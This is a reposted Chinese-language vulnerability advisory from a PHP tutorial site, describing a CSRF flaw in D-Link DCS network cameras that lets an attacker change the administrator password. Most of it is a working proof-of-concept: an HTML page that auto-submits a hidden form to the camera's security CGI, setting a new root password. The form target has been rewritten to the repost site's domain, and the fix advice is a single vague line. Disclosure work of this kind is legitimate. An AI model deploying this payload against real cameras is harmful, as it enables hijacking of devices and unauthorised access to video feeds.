来源：自学PHP网 时间：2015-04-17 13:03 作者： 阅读:次
[导读] 标题：Dlink DCS series CSRF Change Admin Password影响版本: DCS-900, DCS-2000, DCS-5300 and possibly other.作者: rigan - imrigan@gmail.com--问题描述:Dlink DCS是一个相机系列这些相机用......
|
标题：Dlink DCS series CSRF Change Admin Password
影响版本: DCS-900, DCS-2000, DCS-5300 and possibly other. 作者: rigan - imrigan@gmail.com -- 问题描述: Dlink DCS是一个相机系列 这些相机用了一个含csrf缺陷的web接口 这个缺点可导致修改管理账号密码 -- 测试: <html> <body onload="javascript:document.forms[0].submit()"> <form method="POST" name="form0" action="http://www.2cto.com /setup/security.cgi"> <input type="hidden" name="rootpass" value="your_pass"/> <input type="hidden" name="confirm" value="your_pass"/> </form> </body> </html> www.2cto.com提供修复 过滤和验证 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
